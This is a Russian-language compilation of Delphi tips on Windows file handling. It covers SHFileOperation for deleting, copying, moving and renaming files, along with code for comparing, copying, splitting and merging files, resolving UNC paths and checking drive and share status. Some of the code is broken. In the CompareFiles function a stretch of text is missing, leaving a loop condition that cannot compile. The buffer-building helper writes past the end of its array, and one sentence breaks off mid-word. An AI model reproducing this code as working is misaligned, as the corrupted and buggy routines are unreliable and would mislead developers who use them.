    lpszProgressTitle: PAnsiChar; { используется только при установленном флаге FOF_SIMPLEPROGRESS }
  end;

Поля этой структуры имеют следующее назначение:
hwnd Хэндл окна, на которое будут выводиться диалоговые окна о ходе операции.
wFunc Требуемая операция. Может принимать одно из значений:

FO_COPY Копирует файлы, указанные в pFrom в папку, указанную в pTo.
FO_DELETE Удаляет файлы, указанные pFrom (pTo игнорируется).
FO_MOVE Перемещает файлы, указанные в pFrom в папку, указанную в pTo.
FO_RENAME Переименовывает файлы, указанные в pFrom.
pFrom
Указатель на буфер, содержащий пути к одному или нескольким файлам.
Если файлов несколько, между путями ставится нулевой байт.
Список должен заканчиваться двумя нулевыми байтами.

pTo
Аналогично pFrom, но содержит путь к директории - адресату,
в которую производится копирование или перемещение файлов.
Также может содержать несколько путей.
При этом нужно установить флаг FOF_MULTIDESTFILES.

fFlags
Управляющие флаги.
FOF_ALLOWUNDO Если возможно, сохраняет информацию для возможности UnDo.
FOF_CONFIRMMOUSE Не реализовано.
FOF_FILESONLY Если в поле pFrom установлено *.*, то операция
будет производиться только с файлами.
FOF_MULTIDESTFILES Указывает, что для каждого исходного
файла в поле pFrom указана своя директория - адресат.
FOF_NOCONFIRMATION Отвечает "yes to all" на все запросы в ходе опеации.
FOF_NOCONFIRMMKDIR Не подтверждает создание нового каталога,
если операция требует, чтобы он был создан.
FOF_RENAMEONCOLLISION В случае, если уже существует файл
с данным именем, создается файл с именем "Copy #N of..."
FOF_SILENT Не показывать диалог с индикатором прогресса.
FOF_SIMPLEPROGRESS Показывать диалог с индикатором прогресса,
но не показывать имен файлов.
FOF_WANTMAPPINGHANDLE Вносит hNameMappings элемент.
Дескриптор должен быть освобожден функцией SHFreeNameMappings.
fAnyOperationsAborted
Принимает значение TRUE если пользователь прервал любую файловую
операцию до ее завершения и FALSE в ином случае.

hNameMappings
Дескриптор объекта отображения имени файла, который содержит
массив структур SHNAMEMAPPING. Каждая структура содержит
старые и новые имена пути для каждого файла, который перемещался,
скопирован, или переименован. Этот элемент используется только,
если установлен флаг FOF_WANTMAPPINGHANDLE.

lpszProgressTitle
Указатель на строку, используемую как заголовок для диалогового окна прогресса.
Этот элемент используется только, если установлен флаг FOF_SIMPLEPROGRESS.

Примечание.
Если pFrom или pTo не указаны, берутся файлы из текущей директории.
Текущую директорию можно установить с помощью функции SetCurrentDirectory
и получить функцией GetCurrentDirectory.

А теперь - примеры.

Разумеется, вам нужно вставить в секцию uses модуль ShellAPI, в котором определена
функция SHFileOperation.

Рассмотрим самое простое - удаление файлов.

procedure TForm1.Button1Click(Sender: TObject);
var
  SHFileOpStruct : TSHFileOpStruct;
  From : array [0..255] of Char;
begin
  SetCurrentDirectory( PChar( 'C:\' ) );
  From := 'Test1.tst' + #0 + 'Test2.tst' + #0 + #0;
  with SHFileOpStruct do
    begin
      Wnd := Handle;
      wFunc := FO_DELETE;
      pFrom := @From;
      pTo := nil;
      fFlags := 0;
      fAnyOperationsAborted := False;
      hNameMappings := nil;
      lpszProgressTitle := nil;
    end;
  SHFileOperation( SHFileOpStruct );
end;

Обратите внимание, что ни один из флагов не установлен.
Если вы хотите не просто удалить файлы, а переместить их
в корзину, должен быть установлен флаг FOF_ALLOWUNDO.

Для удобства дальнейших экспериментов напишем функцию,
создающую из массива строк буфер для передачи его в качестве параметра pFrom.
После каждой строки в буфер вставляется нулевой байт, в конце списка - два нулевых байта.
type TBuffer = array of Char;

procedure CreateBuffer( Names : array of string; var P : TBuffer );
var I, J, L : Integer;
begin
  for I := Low( Names ) to High( Names ) do
    begin
      L := Length( P );
      SetLength( P, L + Length( Names[ I ] ) + 1 );
      for J := 0 to Length( Names[ I ] ) - 1 do
        P[ L + J ] := Names[ I, J + 1 ];
      P[ L + J ] := #0;
    end;
  SetLength( P, Length( P ) + 1 );
  P[ Length( P ) ] := #0;
end;

Выглядит ужасно, но работает. Можно написать красивее, просто лень.

И, наконец, функция, удаляющая файлы, переданные ей в списке Names.
Параметр ToRecycle определяет, будут ли файлы перемещены в корзину
или удалены. Функция возвращает 0, если операция выполнена успешно,
и ненулевое значение, если руки у кого-то растут не из того места, и этот
кто-то всунул функции имена несуществующих файлов.
function DeleteFiles( Handle : HWnd; Names : array of string; ToRecycle : Boolean ) : Integer;
var
  SHFileOpStruct : TSHFileOpStruct;
  Src : TBuffer;
begin
  CreateBuffer( Names, Src );
  with SHFileOpStruct do
    begin
      Wnd := Handle;
      wFunc := FO_DELETE;
      pFrom := Pointer( Src );
      pTo := nil;
      fFlags := 0;
      if ToRecycle then fFlags := FOF_ALLOWUNDO;
      fAnyOperationsAborted := False;
      hNameMappings := nil;
      lpszProgressTitle := nil;
    end;
  Result := SHFileOperation( SHFileOpStruct );
  Src := nil;
end;

Обратите внимание, что мы освобождаем буфер Src простым
присваиванием значения nil. Если верить документации,
потери памяти при этом не происходит, а напротив,
происходит корректное уничтожение динамического массива.
Каким образом, правда - это рак мозга :-).

Проверяем :
procedure TForm1.Button1Click(Sender: TObject);
begin
  DeleteFiles( Handle, [ 'C:\Test1', 'C:\Test2' ], True );
end;

Вроде все работает.

Кстати, обнаружился забавный глюк - вызовем процедуру DeleteFiles таким образом:
procedure TForm1.Button1Click(Sender: TObject);
begin
  SetCurrentDirectory( PChar( 'C:\' ) );
  DeleteFiles( Handle, [ 'Test1', 'Test2' ], True );
end;

Файлы 'Test1' и 'Test2' удаляются совсем, без помещения в корзину,
несмотря на установленный флаг FOF_ALLOWUNDO.
Мораль: при использовании функции
SHFileOperation используйте полные пути всегда, когда это возможно.
Ну, с удалением файлов разобрались.

Теперь очередь за копированием и перемещением.

Следующая функция перемещает файлы указанные в списке Src в директорию Dest.
Параметр Move определяет, будут ли файлы перемещаться или копироваться.
Параметр AutoRename указывает, переименовывать ли файлы в случае конфликта имен.
function CopyFiles( Handle : Hwnd; Src : array of string; Dest : string;
Move : Boolean; AutoRename : Boolean ) : Integer;
var
  SHFileOpStruct : TSHFileOpStruct;
  SrcBuf : TBuffer;
begin
  CreateBuffer( Src, SrcBuf );
  with SHFileOpStruct do
    begin
      Wnd := Handle;
      wFunc := FO_COPY;
      if Move then wFunc := FO_MOVE;
      pFrom := Pointer( SrcBuf );
      pTo := PChar( Dest );
      fFlags := 0;
      if AutoRename then fFlags := FOF_RENAMEONCOLLISION;
      fAnyOperationsAborted := False;
      hNameMappings := nil;
      lpszProgressTitle := nil;
    end;
  Result := SHFileOperation( SHFileOpStruct );
  SrcBuf := nil;
end;

Ну, проверим.
procedure TForm1.Button1Click(Sender: TObject);
begin
  CopyFiles( Handle, [ 'C:\Test1', 'C:\Test2' ], 'C:\Temp', True, True );
end;

Все в порядке (а кудa ж оно денется).

Есть, правда еще одна возможность - перемещать много файлов каждый
в свою директорию за один присест, но я с трудом представляю, кому это может понадобиться.

Осталась последняя о
function RenameFiles( Handle : HWnd; Src : string; New : string; AutoRename : Boolean ) : Integer;
var SHFileOpStruct : TSHFileOpStruct;
begin
  with SHFileOpStruct do
    begin
      Wnd := Handle;
      wFunc := FO_RENAME;
      pFrom := PChar( Src );
      pTo := PChar( New );
      fFlags := 0;
      if AutoRename then fFlags := FOF_RENAMEONCOLLISION;
      fAnyOperationsAborted := False;
      hNameMappings := nil;
      lpszProgressTitle := nil;
    end;
  Result := SHFileOperation( SHFileOpStruct );
end;
И проверка ...

procedure TForm1.Button1Click(Sender: TObject);
begin
  RenameFiles( Handle, 'C:\Test1' , 'C:\Test3' , False );
end;

Взято с сайта http://blackman.wp-club.net/


Как проверить находится ли файл на локальном диске?

function IsOnLocalDrive(aFileName: string): Boolean;
var
  aDrive: string;
begin
  aDrive := ExtractFileDrive(aFileName);
  if (GetDriveType(PChar(aDrive)) = DRIVE_REMOVABLE) or
     (GetDriveType(PChar(aDrive)) = DRIVE_FIXED) then
    Result := True
  else
    Result := False;
end;

// Example, Beispiel:
procedure TForm1.Button1Click(Sender: TObject);
begin
  if OpenDialog1.Execute then
    if IsOnLocalDrive(OpenDialog1.FileName) then
      ShowMessage(OpenDialog1.FileName + ' is on a local drive.');
end;
Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


Как сравнить 2 файла?

{1.}

function Are2FilesEqual(const File1, File2: TFileName): Boolean;
var
  ms1, ms2: TMemoryStream;
begin
  Result := False;
  ms1 := TMemoryStream.Create;
  try
    ms1.LoadFromFile(File1);
    ms2 := TMemoryStream.Create;
    try
      ms2.LoadFromFile(File2);
      if ms1.Size = ms2.Size then
        Result := CompareMem(ms1.Memory, ms2.memory, ms1.Size);
    finally
      ms2.Free;
    end;
  finally
    ms1.Free;
  end
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
  if Opendialog1.Execute then
    if Opendialog2.Execute then
      if Are2FilesEqual(Opendialog1.FileName, Opendialog2.FileName) then
        ShowMessage('Files are equal.');
end;

{********************************************}

{2.}

function FilesAreEqual(const File1, File2: TFileName): Boolean;
const
  BlockSize = 65536;
var
  fs1, fs2: TFileStream;
  L1, L2: Integer;
  B1, B2: array[1..BlockSize] of Byte;
begin
  Result := False;
  fs1 := TFileStream.Create(File1, fmOpenRead or fmShareDenyWrite);
  try
    fs2 := TFileStream.Create(File2, fmOpenRead or fmShareDenyWrite);
    try
      if fs1.Size = fs2.Size then
      begin
        while fs1.Position < fs1.Size do
        begin
          L1 := fs1.Read(B1[1], BlockSize);
          L2 := fs2.Read(B2[1], BlockSize);
          if L1 <> L2 then
          begin
            Exit;
          end;
          if not CompareMem(@B1[1], @B2[1], L1) then Exit;
        end;
        Result := True;
      end;
    finally
      fs2.Free;
    end;
  finally
    fs1.Free;
  end;
end;
Взято с сайтаhttp://www.swissdelphicenter.ch/en/tipsindex.php

function CompareFiles(Filename1,FileName2:string):longint;
{
  Сравнение файлов

  возвращает номер несовпадающего байта,
  (байты отсчитываются с 1)или:
  0 - не найдено отличий,
  -1 - ошибка файла 1
  -2 - ошибка файла 2
  -3 - другие ошибки
}
const
  Buf_Size=16384;
var
  F1,F2:TFileStream;
  i:longint;
  Buff1,Buff2:PByteArray;
  BytesRead1,BytesRead2:integer;
begin
  Result:=0;
  try
    F1:=TFileStream.Create(FileName1,fmShareDenyNone);
  except
    Result:=-1;
    exit;
  end;
  try
    F2:=TFileStream.Create(FileName2,fmShareDenyNone);
  except
    Result:=-2;
    F1.Free;
    exit;
  end;
  GetMem(Buff1,Buf_Size);
  GetMem(Buff2,Buf_Size);
  try
    if F1.Size> F2.Size then Result:=F2.Size+1
    else if F1.SizeF1.Position) and (Result=0) do begin
      BytesRead1 :=F1.Read(Buff1^,Buf_Size);
      BytesRead2 :=F2.Read(Buff2^,Buf_Size);
      if (BytesRead1=BytesRead2) then begin
        for i:= 0 to BytesRead1-1 do begin
          if Buff1^[i]< > Buff2^[i]
          then begin
            result:=F1.Position-BytesRead1+i+1;
            break;
          end;
        end;
      end else begin
        Result:=-3;
        break;
      end;
    end;
  end;
  except
    Result:=-3;
  end;
  F1.Free;
  F2.Free;
  FreeMem(Buff1,Buf_Size);
  FreeMem(Buff2,Buf_Size);
end;

Взято с http://delphiworld.narod.ru

unit findin;

interface

uses
  Windows, SysUtils, findstr;

type
  TFindInFile = class;

  TFindIn = class
  protected
    FFindInFile: TFindInFile;
    FHandle: THandle;
    function GetPartNum: Integer; virtual; abstract;
    function GetPartLen(Index: Integer): Cardinal; virtual; abstract;
  public
    constructor Create(FindInFile: TFindInFile; FileName: string); virtual;
    destructor Destroy; override;
    function CanUseMem: Boolean; virtual; abstract;
    function UseMemSize: Cardinal; virtual; abstract;
    function GetPart(Index: Integer; Len: Cardinal): Pointer; virtual; abstract;
    property PartNum: Integer read GetPartNum;
    property PartLen[Index: Integer]: Cardinal read GetPartLen;
  end;

  TFindInClass = class of TFindIn;

  TBMSearchFunc = function(var Buffer; BufLength: Cardinal; var BT: TBMTbl;
    MatchString: PAnsiChar; var Pos: Cardinal): Boolean;

  TFindInFile = class
  protected
    FFindIn: TFindIn;
    FFindInClass: TFindInClass;
    FFindStrParams: PFindStrParams;
    FMemHandle: THandle;
    FMem: Pointer;
    FStrLen: Cardinal;
    FDriveTp: UINT;
    FBMSearchFunc: TBMSearchFunc;
    function GetDriveTp(Root: string): UINT;
  public
    constructor Create(FindStrParams: PFindStrParams);
    destructor Destroy; override;
    function Find(FileName: string): Cardinal;
    function SwitchToRoot(Root: string): Boolean; virtual;
  end;

  TFindInHDD = class(TFindIn)
  private
    FSize: Cardinal;
  protected
    FMapPtr: Pointer;
    function GetPartNum: Integer; override;
    function GetPartLen(Index: Integer): Cardinal; override;
  public
    constructor Create(FindInFile: TFindInFile; FileName: string); override;
    destructor Destroy; override;
    function CanUseMem: Boolean; override;
    function UseMemSize: Cardinal; override;
    function GetPart(Index: Integer; Len: Cardinal): Pointer; override;
  end;

  PIntArr = ^TIntArr;
  TIntArr = array[0..1] of Cardinal;

  TFindInRemovable = class(TFindIn)
  private
    FSize: Cardinal;
  protected
    FPartNum: Integer;
    function GetPartNum: Integer; override;
    function GetPartLen(Index: Integer): Cardinal; override;
  public
    constructor Create(FindInFile: TFindInFile; FileName: string); override;
    function CanUseMem: Boolean; override;
    function UseMemSize: Cardinal; override;
    function GetPart(Index: Integer; Len: Cardinal): Pointer; override;
  end;

implementation

resourcestring
  SInvalidDrive = 'Invalid drive - "%s".';

  { TFindIn }

constructor TFindIn.Create(FindInFile: TFindInFile; FileName: string);
begin
  inherited Create;
  FFindInFile := FindInFile;
  FHandle := CreateFile(PChar(FileName), GENERIC_READ, FILE_SHARE_READ,
    nil, OPEN_EXISTING, FILE_FLAG_SEQUENTIAL_SCAN, 0);
  if FHandle = INVALID_HANDLE_VALUE then
    RaiseLastWin32Error;
end;

destructor TFindIn.Destroy;
begin
  if FHandle <> 0 then
    CloseHandle(FHandle);
  inherited Destroy;
end;

{ TFindInHDD }

constructor TFindInHDD.Create(FindInFile: TFindInFile; FileName: string);
var
  hFile: THandle;
begin
  inherited Create(FindInFile, FileName);
  FSize := GetFileSize(FHandle, nil);
  hFile := CreateFileMapping(FHandle, nil, PAGE_READONLY, 0, 0, nil);
  CloseHandle(FHandle);
  FHandle := hFile;
  if FHandle <> 0 then
  begin
    FMapPtr := MapViewOfFile(FHandle, FILE_MAP_READ, 0, 0, 0);
    if FMapPtr = nil then
      RaiseLastWin32Error;
  end
  else
    RaiseLastWin32Error;
end;

destructor TFindInHDD.Destroy;
begin
  if FMapPtr <> nil then
    UnmapViewOfFile(FMapPtr);
  inherited Destroy;
end;

function TFindInHDD.GetPartNum: Integer;
begin
  Result := 1;
end;

function TFindInHDD.GetPartLen(Index: Integer): Cardinal;
begin
  Result := FSize;
end;

function TFindInHDD.GetPart(Index: Integer; Len: Cardinal): Pointer;
begin
  Result := FMapPtr;
end;

function TFindInHDD.CanUseMem: Boolean;
begin
  Result := False;
end;

function TFindInHDD.UseMemSize: Cardinal;
begin
  Result := 0;
end;

{ TFindInRemovable }

constructor TFindInRemovable.Create(FindInFile: TFindInFile; FileName: string);
var
  S: Cardinal;
begin
  inherited Create(FindInFile, FileName);
  FSize := GetFileSize(FHandle, nil);
  if FSize = $FFFFFFFF then
    RaiseLastWin32Error;
  S := UseMemSize - Pred(FFindInFile.FStrLen);
  FPartNum := FSize div S;
  if FSize mod S <> 0 then
    Inc(FPartNum);
end;

function TFindInRemovable.GetPartNum: Integer;
begin
  Result := FPartNum;
end;

function TFindInRemovable.GetPartLen(Index: Integer): Cardinal;
begin
  Result := UseMemSize;
  if (Index = Pred(FPartNum)) and (FSize mod (Result - FFindInFile.FStrLen) <> 0) then
    Result := FSize - (Result - Pred(FFindInFile.FStrLen)) * Pred(FPartNum);
end;

function TFindInRemovable.GetPart(Index: Integer; Len: Cardinal): Pointer;
var
  Dist: ULONG;
  Reading: DWORD;
begin
  Result := FFindInFile.FMem;
  Dist := Index * (UseMemSize - Pred(FFindInFile.FStrLen));
  SetFilePointer(FHandle, Dist, nil, FILE_BEGIN);
  if not ReadFile(FHandle, Result^, Len, Reading, nil) then
    RaiseLastWin32Error;
end;

function TFindInRemovable.CanUseMem: Boolean;
begin
  Result := True;
end;

function TFindInRemovable.UseMemSize: Cardinal;
begin
  Result := 8; {512 * 1024;}
end;

{ TFindInFile }

function Max(V1, V2: Integer): Integer; assembler; register;
asm
  CMP  EAX,EDX
  JG   @@1
  MOV  EAX,EDX
@@1:
end;

constructor TFindInFile.Create(FindStrParams: PFindStrParams);
var
  I: Integer;
begin
  inherited Create;
  FDriveTp := $FFFFFFFF;
  FFindStrParams := FindStrParams;
  if FFindStrParams^.CaseSensitive then
    FBMSearchFunc := BMSearch
  else
    FBMSearchFunc := BMSearchUC;
  FStrLen := 0;
  for I := 0 to Pred(FFindStrParams^.Substr.Count) do
    FStrLen := Max(FStrLen, length(FFindStrParams^.Substr[I]));
end;

destructor TFindInFile.Destroy;
begin
  if FMemHandle <> 0 then
  begin
    GlobalUnlock(FMemHandle);
    GlobalFree(FMemHandle);
  end;
  inherited Destroy;
end;

function TFindInFile.GetDriveTp(Root: string): UINT;
begin
  Result := GetDriveType(PChar(ExtractFileDrive(Root) + '\'));
end;

function TFindInFile.Find(FileName: string): Cardinal;
var
  I, J, K: Integer;
  L: Cardinal;
  P: Pointer;
  PI: PFindStrInfo;
  BMSFunc: TBMSFunc;
begin
  Result := NotFound;
  FFindIn := FFindInClass.Create(Self, FileName);
  try
    if FFindIn.CanUseMem and (FMem = nil) then
    begin
      FMemHandle := GlobalAlloc(GMEM_MOVEABLE, FFindIn.UseMemSize);
      if FMemHandle = 0 then
        RaiseLastWin32Error;
      FMem := GlobalLock(FMemHandle);
    end;
    for I := 0 to Pred(FFindIn.PartNum) do
      for J := 0 to Pred(FFindStrParams^.Substr.Count) do
      begin
        L := FFindIn.PartLen[I];
        P := FFindIn.GetPart(I, L);
        Result := FindString(P^, L, J, FFindStrParams);
        PI := PFindStrInfo(FFindStrParams.Substr.Objects[J]);
        if FBMSearchFunc(P^, L, PI^.BMTbl, PI^.FindS, Result) then
        begin
          if I > 0 then
            for K := 1 to I - 1 do
              Inc(Result, FFindIn.PartLen[K]);
          Exit;
        end;
      end;
  finally
    FFindIn.Free;
  end;
end;

function TFindInFile.SwitchToRoot(Root: string): Boolean;
var
  Tp: UINT;
begin
  Tp := GetDriveTp(Root);
  if Tp <> FDriveTp then
    case Tp of
      0, 1: Exception.CreateFmt(SInvalidDrive, [Root]);
      DRIVE_FIXED: FFindInClass := TFindInHDD;
    else
      {DRIVE_REMOVABLE:
       DRIVE_REMOTE:
       DRIVE_CDROM:
       DRIVE_RAMDISK:}
      FFindInClass := TFindInRemovable;
    end;
end;

end.
Взято с Delphi Knowledge Base: http://www.baltsoft.com/


Как получить UNC путь к файлу?

function GetUNCName(PathStr: string): string;
var
  bufSize: DWord;
  buf: TUniversalNameInfo;
  msg: string;
begin
  bufSize := SizeOf(TUniversalNameInfo);
  if (WNetGetUniversalName(PChar(PathStr), UNIVERSAL_NAME_INFO_LEVEL,
    buf, bufSize) > 0) then
    case GetLastError of
      ERROR_BAD_DEVICE: msg := 'ERROR_BAD_DEVICE';
      ERROR_CONNECTION_UNAVAIL: msg := 'ERROR_CONNECTION_UNAVAIL';
      ERROR_EXTENDED_ERROR: msg := 'ERROR_EXTENDED_ERROR';
      ERROR_MORE_DATA: msg := 'ERROR_MORE_DATA';
      ERROR_NOT_SUPPORTED: msg := 'ERROR_NOT_SUPPORTED';
      ERROR_NO_NET_OR_BAD_PATH: msg := 'ERROR_NO_NET_OR_BAD_PATH';
      ERROR_NO_NETWORK: msg := 'ERROR_NO_NETWORK';
      ERROR_NOT_CONNECTED: msg := 'ERROR_NOT_CONNECTED';
    end
  else
    msg := buf.lpUniversalName;

  Result := msg;
end;

Работает только на NT/2000/XP
Взято с Delphi Knowledge Base: http://www.baltsoft.com/


Копирование файлов

Копирование методом Pascal

Type
  TCallBack=procedure (Position,Size:Longint); {Для индикации процесса копирования}

procedure FastFileCopy(Const InfileName, OutFileName: String; CallBack: TCallBack);
Const BufSize = 3*4*4096; { 48Kbytes дает прекрасный результат }
Type
  PBuffer = ^TBuffer;
  TBuffer = array [1..BufSize] of Byte;
var
  Size             : integer;
  Buffer           : PBuffer;
  infile, outfile  : File;
  SizeDone,SizeFile: Longint;
begin
  if (InFileName <> OutFileName) then
  begin
   buffer := Nil;
   AssignFile(infile, InFileName);
   System.Reset(infile, 1);
   try
     SizeFile := FileSize(infile);
     AssignFile(outfile, OutFileName);
     System.Rewrite(outfile, 1);
     try
       SizeDone := 0; New(Buffer);
       repeat
         BlockRead(infile, Buffer^, BufSize, Size);
         Inc(SizeDone, Size);
         CallBack(SizeDone, SizeFile);
         BlockWrite(outfile,Buffer^, Size)
       until Size < BufSize;
       FileSetDate(TFileRec(outfile).Handle,
         FileGetDate(TFileRec(infile).Handle));
     finally
      if Buffer <> Nil then Dispose(Buffer);
      System.close(outfile)
     end;
   finally
     System.close(infile);
   end;
 end else
  Raise EInOutError.Create('File cannot be copied into itself');
end;

Копирование методом потока

Procedure FileCopy(Const SourceFileName, TargetFileName: String);
Var
  S,T   : TFileStream;
Begin
 S := TFileStream.Create(sourcefilename, fmOpenRead );
 try
  T := TFileStream.Create(targetfilename, fmOpenWrite or fmCreate);
  try
    T.CopyFrom(S, S.Size ) ;
    FileSetDate(T.Handle, FileGetDate(S.Handle));
  finally
   T.Free;
  end;
 finally
  S.Free;
 end;
end;

Копирование методом LZExpand

uses LZExpand;
procedure CopyFile(FromFileName, ToFileName  : string);
var
  FromFile, ToFile: File;
begin
  AssignFile(FromFile, FromFileName);
  AssignFile(ToFile, ToFileName);
  Reset(FromFile);
  try
   Rewrite(ToFile);
   try
    if LZCopy(TFileRec(FromFile).Handle, TFileRec(ToFile).Handle)<0 then
     raise Exception.Create('Error using LZCopy')
   finally
    CloseFile(ToFile);
   end;
  finally
   CloseFile(FromFile);
  end;
end;

Копирование методами Windows

uses ShellApi; // !!! важно

function WindowsCopyFile(FromFile, ToDir : string) : boolean;
var F : TShFileOpStruct;
begin
  F.Wnd := 0; F.wFunc := FO_COPY;
  FromFile:=FromFile+#0; F.pFrom:=pchar(FromFile);
  ToDir:=ToDir+#0; F.pTo:=pchar(ToDir);
  F.fFlags := FOF_ALLOWUNDO or FOF_NOCONFIRMATION;
  result:=ShFileOperation(F) = 0;
end;
 // пример копирования
procedure TForm1.Button1Click(Sender: TObject);
begin
 if not WindowsCopyFile('C:\UTIL\ARJ.EXE', GetCurrentDir) then
   ShowMessage('Copy Failed');
end;

Источник: http://dmitry9.nm.ru/info/


Split/merge files?

{
  Parameters:

  FileToSplit: Specify a file to split.
  SizeofFiles: Specify the size of the files you want to split to (in bytes)
  Progressbar: Specify a TProgressBar to show the splitting progress

  Result:
  SplitFile() will create files  FileName.001, FileName.002, FileName.003 and so on
  that are SizeofFiles bytes in size.
 }

function SplitFile(FileName : TFileName; SizeofFiles : Integer; ProgressBar : TProgressBar) : Boolean;
var
  i : Word;
  fs, sStream: TFileStream;
  SplitFileName: String;
begin
  ProgressBar.Position := 0;
  fs := TFileStream.Create(FileName, fmOpenRead or fmShareDenyWrite);
  try
    for i := 1 to Trunc(fs.Size / SizeofFiles) + 1 do
    begin
      SplitFileName := ChangeFileExt(FileName, '.'+ FormatFloat('000', i));
      sStream := TFileStream.Create(SplitFileName, fmCreate or fmShareExclusive);
      try
        if fs.Size - fs.Position < SizeofFiles then
          SizeofFiles := fs.Size - fs.Position;
        sStream.CopyFrom(fs, SizeofFiles);
        ProgressBar.Position := Round((fs.Position / fs.Size) * 100);
      finally
        sStream.Free;
      end;
    end;
  finally
    fs.Free;
  end;

end;

// Combine files / Dateien zusammenfuhren

{
  Parameters:

  FileName: Specify the first piece of the splitted files
  CombinedFileName: Specify the combined file name. (the output file)

  Result:
  CombineFiles() will create one large file from the pieces
 }

function CombineFiles(FileName, CombinedFileName : TFileName) : Boolean;
var
  i: integer;
  fs, sStream: TFileStream;
  filenameOrg: String;
begin
  i := 1;
  fs := TFileStream.Create(CombinedFileName, fmCreate or fmShareExclusive);
  try
    while FileExists(FileName) do
    begin
      sStream := TFileStream.Create(FileName, fmOpenRead or fmShareDenyWrite);
      try
        fs.CopyFrom(sStream, 0);
      finally
        sStream.Free;
      end;
      Inc(i);
      FileName := ChangeFileExt(FileName, '.'+ FormatFloat('000', i));
    end;
  finally
    fs.Free;
  end;
end;

// Examples:

procedure TForm1.Button1Click(Sender: TObject);
begin
  SplitFile('C:\temp\FileToSplit.chm',1000000, ProgressBar1);
end;

procedure TForm1.Button2Click(Sender: TObject);
begin
  CombineFiles('C:\temp\FileToSplit.001','H:\temp\FileToSplit.chm');
end;
Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


Как получить тип файла?

uses
  ShellAPI;

function MrsGetFileType(const strFilename: string): string;
var
  FileInfo: TSHFileInfo;
begin
  FillChar(FileInfo, SizeOf(FileInfo), #0);
  SHGetFileInfo(PChar(strFilename), 0, FileInfo, SizeOf(FileInfo), SHGFI_TYPENAME);
  Result := FileInfo.szTypeName;
end;

// Beispiel:
// Example:
procedure TForm1.Button1Click(Sender: TObject);
begin
  ShowMessage('File type is: ' + MrsGetFileType('c:\autoexec.bat'));
end;
Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


Проверяем находится ли файл на локальном диске

function IsOnLocalDrive(aFileName: string): Boolean;
var
  aDrive: string;
begin
  aDrive := ExtractFileDrive(aFileName);
  if (GetDriveType(PChar(aDrive)) = DRIVE_REMOVABLE) or
     (GetDriveType(PChar(aDrive)) = DRIVE_FIXED) then
    Result := True
  else
    Result := False;
end;

// Example, Beispiel:
procedure TForm1.Button1Click(Sender: TObject);
begin
  if OpenDialog1.Execute then
    if IsOnLocalDrive(OpenDialog1.FileName) then
      ShowMessage(OpenDialog1.FileName + ' is on a local drive.');
end;
Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


Как проверить папку на shared?

{Following code needs to use ShlObj, ComObj, ActiveX Units}

function TForm1.IfFolderShared(FullFolderPath: string): Boolean;

  //Convert TStrRet to string
  function StrRetToString(PIDL: PItemIDList; StrRet: TStrRet; Flag: string = ''): string;
  var
    P: PChar;
  begin
    case StrRet.uType of
      STRRET_CSTR:
        SetString(Result, StrRet.cStr, lStrLen(StrRet.cStr));
      STRRET_OFFSET:
        begin
          P := @PIDL.mkid.abID[StrRet.uOffset - SizeOf(PIDL.mkid.cb)];
          SetString(Result, P, PIDL.mkid.cb - StrRet.uOffset);
        end;
      STRRET_WSTR:
        if Assigned(StrRet.pOleStr) then
          Result := StrRet.pOleStr
        else
          Result := '';
    end;
    { This is a hack bug fix to get around Windows Shell Controls returning
      spurious "?"s in date/time detail fields }
    if (Length(Result) > 1) and (Result[1] = '?') and (Result[2] in ['0'..'9']) then
      Result := StringReplace(Result, '?', '', [rfReplaceAll]);
  end;

  //Get Desktop's IShellFolder interface
  function DesktopShellFolder: IShellFolder;
  begin
    OleCheck(SHGetDesktopFolder(Result));
  end;

  //delete the first ID from IDList
  function NextPIDL(IDList: PItemIDList): PItemIDList;
  begin
    Result := IDList;
    Inc(PChar(Result), IDList^.mkid.cb);
  end;

  //get the length of IDList
  function GetPIDLSize(IDList: PItemIDList): Integer;
  begin
    Result := 0;
    if Assigned(IDList) then
    begin
      Result := SizeOf(IDList^.mkid.cb);
      while IDList^.mkid.cb <> 0 do
      begin
        Result := Result + IDList^.mkid.cb;
        IDList := NextPIDL(IDList);
      end;
    end;
  end;

  //get ID count from IDList
  function GetItemCount(IDList: PItemIDList): Integer;
  begin
    Result := 0;
    while IDList^.mkid.cb <> 0 do
    begin
      Inc(Result);
      IDList := NextPIDL(IDList);
    end;
  end;

  //create an ItemIDList object
  function CreatePIDL(Size: Integer): PItemIDList;
  var
    Malloc: IMalloc;
  begin
    OleCheck(SHGetMalloc(Malloc));

    Result := Malloc.Alloc(Size);
    if Assigned(Result) then
      FillChar(Result^, Size, 0);
  end;

  function CopyPIDL(IDList: PItemIDList): PItemIDList;
  var
    Size: Integer;
  begin
    Size   := GetPIDLSize(IDList);
    Result := CreatePIDL(Size);
    if Assigned(Result) then
      CopyMemory(Result, IDList, Size);
  end;

  //get the last ItemID from AbsoluteID
  function RelativeFromAbsolute(AbsoluteID: PItemIDList): PItemIDList;
  begin
    Result := AbsoluteID;
    while GetItemCount(Result) > 1 do
      Result := NextPIDL(Result);
    Result := CopyPIDL(Result);
  end;

  //remove the last ID from IDList
  procedure StripLastID(IDList: PItemIDList);
  var
    MarkerID: PItemIDList;
  begin
    MarkerID := IDList;
    if Assigned(IDList) then
    begin
      while IDList.mkid.cb <> 0 do
      begin
        MarkerID := IDList;
        IDList   := NextPIDL(IDList);
      end;
      MarkerID.mkid.cb := 0;
    end;
  end;

  //if Flag include Element
  function IsElement(Element, Flag: Integer): Boolean;
  begin
    Result := Element and Flag <> 0;
  end;
var
  P: Pointer;
  NumChars, Flags: LongWord;
  ID, NewPIDL, ParentPIDL: PItemIDList;
  ParentShellFolder: IShellFolder;
begin
  Result := False;
  NumChars := Length(FullFolderPath);
  P  := StringToOleStr(FullFolderPath);
  //get the folder's full ItemIDList
  OleCheck(DesktopShellFolder.ParseDisplayName(0, nil, P, NumChars, NewPIDL, Flags));
  if NewPIDL <> nil then
  begin
    ParentPIDL := CopyPIDL(NewPIDL);
    StripLastID(ParentPIDL);      //get the folder's parent object's ItemIDList

    ID := RelativeFromAbsolute(NewPIDL);  //get the folder's relative ItemIDList

    //get the folder's parent object's IShellFolder interface
    OleCheck(DesktopShellFolder.BindToObject(ParentPIDL, nil, IID_IShellFolder,
      Pointer(ParentShellFolder)));

    if ParentShellFolder <> nil then
    begin
      Flags := SFGAO_SHARE;
      //get the folder's attributes
